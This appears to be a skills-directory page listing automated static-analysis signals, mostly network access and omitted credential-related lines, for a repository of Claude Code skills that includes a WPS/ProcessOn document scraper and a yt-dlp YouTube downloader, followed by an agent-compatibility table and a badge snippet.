    python3 /path/to/wps-doc-scraper/scripts/wps_processon_extract.py \      --url "https://www.kdocs.cn/view/l/..." \
  • Network accessline 26
    --url "https://www.kdocs.cn/view/l/..." \

wps-doc-scraper/references/capture-manifest.md

  • Network accessline 6
    {   "captured_at": "2026-06-26T00:00:00+00:00",   "source_url": "https://www.kdocs.cn/view/l/...",
  • Network accessline 7
    "captured_at": "2026-06-26T00:00:00+00:00",   "source_url": "https://www.kdocs.cn/view/l/...",   "source_type": "kdocs_processon",
  • Network accessline 8
    "source_url": "https://www.kdocs.cn/view/l/...",
  • Network accessline 9
    "source_type": "kdocs_processon",   "kdocs_share_id": "...",   "kdocs_link_api_url": "https://drive.kdocs.cn/api/v5/links/...?review=true",
  • Network accessline 10
    "kdocs_share_id": "...",   "kdocs_link_api_url": "https://drive.kdocs.cn/api/v5/links/...?review=true",   "processon_api_url": "https://wps.processon.com/wpsapi/diagrams/view/api?...",
  • Network accessline 11
    "kdocs_link_api_url": "https://drive.kdocs.cn/api/v5/links/...?review=true",
  • Network accessline 12
    "processon_api_url": "https://wps.processon.com/wpsapi/diagrams/view/api?...",

wps-doc-scraper/references/processon-mindmap-api.md

  • Network accessline 10
    https://www.kdocs.cn/view/l/<share_id>
  • Network accessline 16
    https://drive.kdocs.cn/api/v5/links/<share_id>?review=true
  • Network accessline 33
    https://wps.processon.com/diagrams/view?file_id=<file_id>&group_id=<group_id>&is_recycle=false&user_id=0&product=kdocs_web&platform=&lang=en-US
  • Network accessline 39
    https://wps.processon.com/wpsapi/diagrams/view/api?file_id=<file_id>&group_id=<group_id>&is_recycle=false&user_id=0&product=kdocs_web&platform=&lang=en-US

wps-doc-scraper/scripts/render_svg_tiles.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 62
    ns = ""     if "xmlns=" not in root_tag:         ns += ' xmlns="http://www.w3.org/2000/svg"'
  • Network accessline 63
    if "xmlns=" not in root_tag:         ns += ' xmlns="http://www.w3.org/2000/svg"'     if "xmlns:xlink=" not in root_tag and "xlink:" in svg_text:
  • Network accessline 64
    ns += ' xmlns="http://www.w3.org/2000/svg"'
  • Network accessline 65
    if "xmlns:xlink=" not in root_tag and "xlink:" in svg_text:         ns += ' xmlns:xlink="http://www.w3.org/1999/xlink"'     return ns, body
  • Network accessline 66
    ns += ' xmlns:xlink="http://www.w3.org/1999/xlink"'

wps-doc-scraper/scripts/wps_processon_extract.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 21
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125 Safari/537.36" ) PROCESSON_API_BASE = "https://wps.processon.com/wpsapi/diagrams/view/api"
  • Network accessline 22
    ) PROCESSON_API_BASE = "https://wps.processon.com/wpsapi/diagrams/view/api" KDOCS_LINK_RE = re.compile(r"https?://(?:www\.)?kdocs\.cn/(?:view/)?l/([^/?#]+)")
  • Network accessline 23
    PROCESSON_API_BASE = "https://wps.processon.com/wpsapi/diagrams/view/api"
  • Network accessline 31
    def fetch_json(url: str, timeout: int) -> dict[str, Any]:     req = urllib.request.Request(
  • Network accessline 32
    req = urllib.request.Request(
  • Network accessline 35
    "User-Agent": USER_AGENT,             "Accept": "application/json,text/plain,*/*",             "Referer": "https://www.kdocs.cn/",
  • Network accessline 36
    "Accept": "application/json,text/plain,*/*",             "Referer": "https://www.kdocs.cn/",         },
  • Network accessline 37
    "Referer": "https://www.kdocs.cn/",
  • Network accessline 39
    )     try:         with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Network accessline 40
    try:         with urllib.request.urlopen(req, timeout=timeout) as resp:             raw = resp.read()
  • Network accessline 41
    with urllib.request.urlopen(req, timeout=timeout) as resp:
  • Network accessline 150
    raise ExtractionError("KDocs URL does not match /view/l/<share_id> or /l/<share_id>")         share_id = match.group(1)         link_api_url = f"https://drive.kdocs.cn/api/v5/links/{share_id}?review=true"
  • Network accessline 151
    share_id = match.group(1)         link_api_url = f"https://drive.kdocs.cn/api/v5/links/{share_id}?review=true"         link_json = fetch_json(link_api_url, timeout)
  • Network accessline 152
    link_api_url = f"https://drive.kdocs.cn/api/v5/links/{share_id}?review=true"

youtube-downloader/SKILL.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 87
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Network accessline 131
    Check the current [EJS setup guide](https://github.com/yt-dlp/yt-dlp/wiki/EJS) for the JavaScript runtime and challenge-solver requirements of the installed distribution. An installed Node binary may need explicit `--js-runtimes node`; do n
  • Network accessline 138
    yt-dlp -F "https://youtu.be/VIDEO_ID"
  • Network accessline 147
    Keep `player_client` unset unless there is a specific diagnostic or explicit request. The [official extractor guide](https://github.com/yt-dlp/yt-dlp/wiki/Extractors#youtube) describes yt-dlp's default attempt with clients that do not requi
  • Access to secretsline 178
    [Credential-related source omitted]
  • Access to secretsline 184
    [Credential-related source omitted]
  • Access to secretsline 187
    [Credential-related source omitted]
  • Network accessline 257
    Check the installed yt-dlp version and the [EJS runtime and solver instructions](https://github.com/yt-dlp/yt-dlp/wiki/EJS). Repair the diagnosed prerequisite within authorization. Android or AndroidVR can be selected explicitly for a bound
  • Access to secretsline 298
    [Credential-related source omitted]
  • Network accessline 301
    - `--auto-po-token` - Authorize provider setup after a failed explicit missing/required-token diagnostic; try native clients first, then Docker bgutil or browser WPC - `--no-auto-po-token` - Disable provider setup (default); does not disabl
  • Network accessline 302
    - `--no-auto-po-token` - Disable provider setup (default); does not disable already-installed yt-dlp plugins - `--proxy` - Proxy URL for yt-dlp and the PO Token provider (e.g., http://127.0.0.1:1082) - `--wpc-browser-path` - Browser executa
  • Network accessline 303
    - `--proxy` - Proxy URL for yt-dlp and the PO Token provider (e.g., http://127.0.0.1:1082)
  • Network accessline 338
    Many CDNs require authentication headers: - **Referer**: Origin website (e.g., `https://maven.com/`)
  • Network accessline 339
    - **Referer**: Origin website (e.g., `https://maven.com/`)
  • Network accessline 350
    ffmpeg -headers "Referer: https://example.com/" \
  • Network accessline 351
    -protocol_whitelist file,http,https,tcp,tls,crypto,httpproxy \   -i "https://cdn.example.com/path/rendition.m3u8?params" \   -c copy -bsf:a aac_adtstoasc \
  • Network accessline 352
    -i "https://cdn.example.com/path/rendition.m3u8?params" \
  • Network accessline 365
    # Single header -headers "Referer: https://example.com/"
  • Network accessline 366
    -headers "Referer: https://example.com/"
  • Network accessline 368
    # Multiple headers -headers "Referer: https://example.com/" \
  • Network accessline 369
    -headers "Referer: https://example.com/" \
  • Network accessline 372
    # Alternative syntax -headers $'Referer: https://example.com/\r\nUser-Agent: Mozilla/5.0...'
  • Network accessline 373
    -headers $'Referer: https://example.com/\r\nUser-Agent: Mozilla/5.0...'
  • Network accessline 382
    ffmpeg -headers "Referer: https://example.com/" \
  • Network accessline 383
    -protocol_whitelist file,http,https,tcp,tls,crypto,httpproxy \   -i "https://cdn.example.com/audio/rendition.m3u8" \   -c copy audio.m4a
  • Network accessline 384
    -i "https://cdn.example.com/audio/rendition.m3u8" \
  • Network accessline 390
    ffmpeg -headers "Referer: https://example.com/" \
  • Network accessline 391
    -protocol_whitelist file,http,https,tcp,tls,crypto,httpproxy \   -i "https://cdn.example.com/video/rendition.m3u8" \   -c copy video.mp4
  • Network accessline 392
    -i "https://cdn.example.com/video/rendition.m3u8" \
  • Network accessline 442
    - **PO Token Setup**: See `references/po-token-setup.md` for detailed installation and troubleshooting - **Internal SOP**: `references/internal-sop.md` — the short list of yt-dlp failures that look like something else (URLs unquoted in zsh,
  • Network accessline 443
    - **Internal SOP**: `references/internal-sop.md` — the short list of yt-dlp failures that look like something else (URLs unquoted in zsh, proxy not reaching the PO Token provider). Read it first when a download fails for no obvious reason -
  • Network accessline 444
    - **yt-dlp Documentation**: https://github.com/yt-dlp/yt-dlp
  • Network accessline 445
    - **Format Selection Guide**: https://github.com/yt-dlp/yt-dlp#format-selection

youtube-downloader/references/internal-sop.md

  • Network accessline 3
    1. Quote URLs in shell commands (`'https://www.youtube.com/watch?v=VIDEO_ID'`). Bind the requested video, output type and quality before downloading.
  • Access to secretsline 15
    [Credential-related source omitted]

youtube-downloader/references/po-token-setup.md

  • Network accessline 11
    Check the current [extractor guidance](https://github.com/yt-dlp/yt-dlp/wiki/Extractors#youtube), [Token enforcement by client/request type](https://github.com/yt-dlp/yt-dlp/wiki/PO-Token-Guide#current-po-token-enforcement) and [EJS setup](
  • Network accessline 31
    <YTDLP_PYTHON> -m pip install bgutil-ytdlp-pot-provider -i https://pypi.tuna.tsinghua.edu.cn/simple
  • Network accessline 65
    yt-dlp -F "https://youtu.be/VIDEO_ID"
  • Network accessline 95
    pip install yt-dlp-getpot-wpc -i https://pypi.tuna.tsinghua.edu.cn/simple
  • Network accessline 110
    yt-dlp -F "https://youtu.be/VIDEO_ID"
  • Network accessline 147
    WARNING: [youtube] [pot:bgutil:http] Error reaching GET http://127.0.0.1:4416/ping
  • Access to secretsline 154
    [Credential-related source omitted]
  • Access to secretsline 160
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Network accessline 181
    - [yt-dlp PO Token Guide](https://github.com/yt-dlp/yt-dlp/wiki/PO-Token-Guide)
  • Network accessline 182
    - [bgutil-ytdlp-pot-provider](https://github.com/Brainicism/bgutil-ytdlp-pot-provider)
  • Network accessline 183
    - [yt-dlp GitHub](https://github.com/yt-dlp/yt-dlp)

youtube-downloader/scripts/download_video.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 13
    Usage:     scripts/download_video.py "https://youtu.be/VIDEO_ID"
  • Network accessline 14
    scripts/download_video.py "https://youtu.be/VIDEO_ID"
  • Network accessline 15
    scripts/download_video.py "https://youtu.be/VIDEO_ID" --audio-only
  • Network accessline 16
    scripts/download_video.py "https://youtu.be/VIDEO_ID" --quality 1080p
  • Network accessline 17
    scripts/download_video.py "https://youtu.be/VIDEO_ID" -o ~/Downloads
  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 40
    PYPI_MIRROR = "https://pypi.tuna.tsinghua.edu.cn/simple"
  • Access to secretsline 233
    [Credential-related source omitted]
  • Access to secretsline 234
    [Credential-related source omitted]
  • Access to secretsline 235
    [Credential-related source omitted]
  • Access to secretsline 236
    [Credential-related source omitted]
  • Access to secretsline 237
    [Credential-related source omitted]
  • Access to secretsline 238
    [Credential-related source omitted]
  • Access to secretsline 240
    [Credential-related source omitted]
  • Network accessline 289
    def provider_ping(url: str = "http://127.0.0.1:4416/ping") -> bool:     try:         with urlopen(url, timeout=3) as response:
  • Network accessline 692
    def fetch_oembed_info(url: str) -> Optional[dict]:     oembed_url = f"https://www.youtube.com/oembed?url={quote(url, safe='')}&format=json"
  • Network accessline 693
    oembed_url = f"https://www.youtube.com/oembed?url={quote(url, safe='')}&format=json"     try:         with urlopen(oembed_url, timeout=15) as response:
  • Access to secretsline 722
    [Credential-related source omitted]
  • Access to secretsline 747
    [Credential-related source omitted]
  • Access to secretsline 775
    [Credential-related source omitted]
  • Access to secretsline 776
    [Credential-related source omitted]
  • Access to secretsline 781
    [Credential-related source omitted]
  • Access to secretsline 792
    [Credential-related source omitted]
  • Access to secretsline 793
    [Credential-related source omitted]
  • Access to secretsline 811
    [Credential-related source omitted]
  • Access to secretsline 816
    [Credential-related source omitted]
  • Access to secretsline 877
    [Credential-related source omitted]
  • Access to secretsline 896
    [Credential-related source omitted]
  • Access to secretsline 906
    [Credential-related source omitted]
  • Access to secretsline 913
    [Credential-related source omitted]
  • Access to secretsline 928
    [Credential-related source omitted]
  • Access to secretsline 938
    [Credential-related source omitted]
  • Access to secretsline 987
    [Credential-related source omitted]
  • Access to secretsline 988
    [Credential-related source omitted]
  • Network accessline 998
    parser.add_argument(         "--proxy",         help="Proxy URL for yt-dlp and PO Token provider (e.g., http://127.0.0.1:1082)",
  • Network accessline 999
    "--proxy",         help="Proxy URL for yt-dlp and PO Token provider (e.g., http://127.0.0.1:1082)",     )
  • Network accessline 1000
    help="Proxy URL for yt-dlp and PO Token provider (e.g., http://127.0.0.1:1082)",
  • Access to secretsline 1054
    [Credential-related source omitted]

youtube-downloader/tests/test_download_video.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 45
    patch.object(downloader, "get_proxy_settings", return_value=(None, None)), \                 redirect_stdout(io.StringIO()):             code = downloader.download_video("https://youtu.be/VIDEO_ID", output_dir=root, **kwargs)
  • Network accessline 46
    redirect_stdout(io.StringIO()):             code = downloader.download_video("https://youtu.be/VIDEO_ID", output_dir=root, **kwargs)             return code, [call.args[0] for call in run.call_args_list], provider.call_count, info.call_args
  • Network accessline 47
    code = downloader.download_video("https://youtu.be/VIDEO_ID", output_dir=root, **kwargs)
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 130
    [Credential-related source omitted]

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Declared and executed: 1 fact
Signal confidence: 499 facts

and 449 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativeManifest .claude-plugin/marketplace.json.claude/skills/<skill-name>/
CodexNativeManifest AGENTS.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md app-evolver/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md app-evolver/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md app-evolver/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md app-evolver/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.

Explore alternatives and comparisons

Add this badge to your README

It updates every night and links to this page.

daymade/claude-code-skills: #643 on hotskills, 1.5k stars

[![daymade/claude-code-skills on hotskills](https://hotskills.dev/badge/daymade-claude-code-skills.svg)](https://hotskills.dev/skill/daymade-claude-code-skills/)